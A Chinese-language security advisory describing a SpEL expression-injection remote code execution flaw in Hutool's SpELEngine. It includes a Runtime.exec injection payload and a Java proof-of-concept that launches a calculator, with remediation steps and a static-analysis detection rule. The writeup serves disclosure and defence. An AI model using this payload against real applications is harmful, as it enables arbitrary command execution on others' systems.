本文作者:宇航@涂鸦智能安全实验室

漏洞编号

暂无

受影响版本:

cn.hutool:hutool-all (-∞,5.8.41]

cn.hutool:hutool-extra (-∞,5.8.41]

漏洞危害

Hutool是一款采用java开发的工具类库。 该项目受影响版本存在SPEL命令执行风险, 由于SpELEngine.java中eval方法解析SPEL表达式时未进行转义或检查,其通过StandardEvaluationContext实现SPEL表达式解析,远程攻击者可通过注入恶意的SPEL表达式如 T(java.lang.Runtime).getRuntime().exec(‘calc’) 导致任意系统命令执行。 开发者可将StandardEvaluationContext替换为SimpleEvaluationContext缓解此漏洞。

漏洞poc

spel表达式注入。

T(java.lang.Runtime).getRuntime().exec('open -na Calculator')

漏洞触发点:

spELEngine.eval(string, m, new ArrayList<>());

漏洞详情

在这里插入图片描述
该漏洞主要在于SpELEngine工具类,Hutool本意提供该类是为了图例直接通过类名调用方法的功能。但此处使用SpelExpressionParser + StandardEvaluationContext的组合来解析不受信任字符串时,可进行spel表达式注入
在这里插入图片描述

SpelEngine里面定义了eval方法,仅需要传入spel表达式,即可进行命令执行。

以下是验证poc代码:

package com.example.test.cves;

import cn.hutool.extra.expression.engine.spel.SpELEngine;

import java.util.ArrayList;
import java.util.HashMap;

public class Testhutool {
    public static void main(String[] args) {
        Test test = new Test();
        HashMap<String, Object> m = new HashMap<>();
        m.put("1", test);
        SpELEngine spELEngine = new SpELEngine();

        // eval 方法需要3个参数:表达式、变量Map、自定义类集合
        spELEngine.eval("T(java.lang.Runtime).getRuntime().exec('open -na Calculator')", m, new ArrayList<>());
    }
}

class Test {

}

运行后可得到:
在这里插入图片描述
调用堆栈如下:
在这里插入图片描述

修复方案

1、升级Hutool至安全版本6.*,该版本删除了整个expression部分。

2、spring官方提供了安全的方法可将StandardEvaluationContext替换为SimpleEvaluationContext。

加白策略

由上分析可知此处漏洞触发条件有以下两点

1、使用如下不安全写法,直接调用了spELEngine.eval()函数

2、用户可自定义spELEngine.eval(string, m, new ArrayList<>());中的string字符串。

此处影响范围较大,但针对eval等敏感函数。白盒扫描的能力已经覆盖,可加白处理。加白后再添加一条新的规则以免遗漏。

白盒规则

其中spELEngine.eval函数加入代码卫士规则进行二次确认。如存在使用该缺陷函数的代码,进行替换。

主要匹配内容:spELEngine.eval();
在这里插入图片描述
包名:cn.hutool.extra.expression.engine.spel

类名:SpELEngine

方法名:eval

使用语义分析策略即可,整体规则如下:

<Semantic id="" version="1.1.1">
  <MethodDefinition implements="true" overrides="true" extends="true">
    <!-- 填写需要匹配的命名空间正则表达式或字符串,可选,不需要匹配命名空间则删除该节点 -->
    <NamespaceName type="value">cn.hutool.extra.expression.engine.spel</NamespaceName>
    
    <!-- 填写需要匹配的类名正则表达式或字符串,可选,不需要匹配类名则删除该节点 -->
    <ClassName type="pattern">SpELEngine</ClassName>
    
    <!-- 填写需要匹配的方法名正则表达式或字符串 -->
    <MethodName type="pattern">eval</MethodName>
  </MethodDefinition>
</Semantic>

漏洞悬赏计划:涂鸦智能安全响应中心(https://src.tuya.com)欢迎白帽子来探索。

Logo

汇聚全球AI编程工具,助力开发者即刻编程。

更多推荐